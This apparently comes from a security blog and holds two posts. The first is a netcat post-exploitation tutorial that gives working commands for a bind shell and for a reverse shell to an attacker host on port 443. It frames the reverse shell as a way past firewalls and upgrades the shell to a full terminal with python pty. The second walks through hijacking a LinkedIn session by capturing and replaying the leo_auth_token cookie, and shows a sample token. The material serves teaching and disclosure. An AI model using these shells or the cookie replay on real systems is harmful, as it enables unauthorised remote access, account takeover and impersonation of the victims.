Reverse terminals

After compromising a target machine it's time for some post exploitation using a backdoor.

This can be done easy with netcat. Our Swiss-army knife for TCP/IP.

 

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
There's also an enhanced version using twofish encryption, called cryptcat. For this exercise we are using the older netcat.

Compromised machine: 10.0.1.50
Attacker's machine: 10.0.1.100

First of all, we need to download and install a custom netcat version on our compromised target machine. Make sure to also download some compiling tools like gcc.

apt-get install libc6-dev g++ gcc
wget http://downloads.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.bz2
tar -xjvf netcat-0.7.1.tar.bz2
cd netcat-0.7.1
./configure
make
make install

After netcat has been installed and compiled we can use the following command on our target machine to create a backdoor listener:

./netcat -l -p 6666 -e /bin/bash

This spawns a command shell on TCP port 6666.

It's now possible for an attacker to connect from a remote machine to our compromised target, using netcat as a client this time.

netcat 10.0.1.50 6666

We are getting a command shell:

Our post exploitation tool is working!

When the compromised machine is after a firewall this can be a problem.

A firewall is actually blocking ports... remember? :-)

Another possibility is using a reverse shell with netcat.
In a reverse shell, the connection is actually triggered by the compromised machine. It connects back to the attacker's machine. We might use this technique to circumvent the firewall or NAT installation. Use a standard port that you think will be allowed through the firewall: ports 443, 80 and 53 are often good options.

The following command starts a listener on port TCP 443 of the attacker's machine:

nc -l -p 443

On our target machine we use netcat with the following syntax:

./netcat 10.0.1.100 443 -e /bin/bash

This spawns a shell in a reverse way to the attacker on port TCP 443. That's an outbound connection.

Cool! We circumvented the firewall.

Another issue is that a shell is not a real terminal. There's a big difference between a shell and a terminal. There are some commands that don't work in a shell.

Try 'top'...
Not working...

And here comes another piece of magic when we enter the following command in our shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Our shell became a real terminal, a reverse terminal:

 

 

Our 'top' command is working:

Awesome, and easy.

In this post we used netcat as a post exploitation tool spawning a reverse terminal.

Hijacking LinkedIn sessions

During a demonstration at the Microsoft Tech Days 2012 in Eigenbrakel a 'famous' Microsoft white hacker demonstrated how easy it was to capture a LinkedIn password over a secure HTTPS connection.

She was using Fiddler, an intermediate proxy. The hacker added the Fiddler self-signed certificate to the list of trusted root certificates. Now she was pretending that the username and the password were not transferred in a secure way because she intercepted it in clear text with her 'magic' tool?!? I think she definitely needs to review some basics of PKI or Public Key Infrastructure... A shame for Microsoft :)

The GOOD news... there are no issues at all with the login procedure in LinkedIn! The credentials are transferred over a secure HTTPS connection. However capturing those credentials is still possible when using intermediate proxies or firewalls with a HTTPS inspection function. That's not a LinkedIn problem, that 's just how PKI works.

The BAD news... LinkedIn is not using HTTPS for every transaction. It is really easy to hijack a LinkedIn session!

To demonstrate the issue, I created a LinkedIn test account User1.

User1 is a legitimate user and has a valid LinkedIn session.
User2 is the attacker and wants to hijack User1's session.

I'm logging in with the User1 account:

After analyzing the HTTP session parameters I found an interesting cookie:

leo_auth_token

For User1 it has the following value:

"LIM:196816205:a:21600:1343757294:c6f2cca505d47d666586f29fae7c6bf4f5107eb3"

This is the session cookie and it expires after 3 months!

Because session cookies are transferred with each HTTP request and because LinkedIn is using non-encrypted HTTP communication for most of its transactions, it is now very easy to capture the leo_auth_token cookie. Capturing HTTP traffic could be done over a non-secure wireless network or using other techniques like ARP injection, MAC flooding, SNMP hacking,... Maybe in the future I will post some new articles explaining those techniques.

Suppose that User2, our attacker, captured the leo_auth_token cookie using one of the above techniques. He could now open a new browser session and add the captured session cookie to the list of cookies using a cookie editor (for this excercise we cleared all the existing cookies).

After adding the captured cookie to the browser, User2 enters the following URL to edit a LinkedIn profile:

http://www.linkedin.com/profile/edit?trk=tab_pro

The magic happens:

We hijacked User1's session!
Now we can easily edit User1's profile:

In the same way we could list contacts, add contacts, remove contacts, read messages and send 'spoofed' messages to the contacts,...

Because the LinkedIn session cookie is stored for 3 months and most of the LinkedIn users are never logging out a session, an attacker has plenty of time to fool with someone's profile after capturing the session cookie over a non-secured HTTP connection.
Hijacking a LinkedIn session is really easy!

LinkedIn is just not safe enough. They should definitely switch to HTTPS-only and use session cookies with larger values and with shorter expiration times!

Something to think about when using LinkedIn as a social media platform for professional purposes!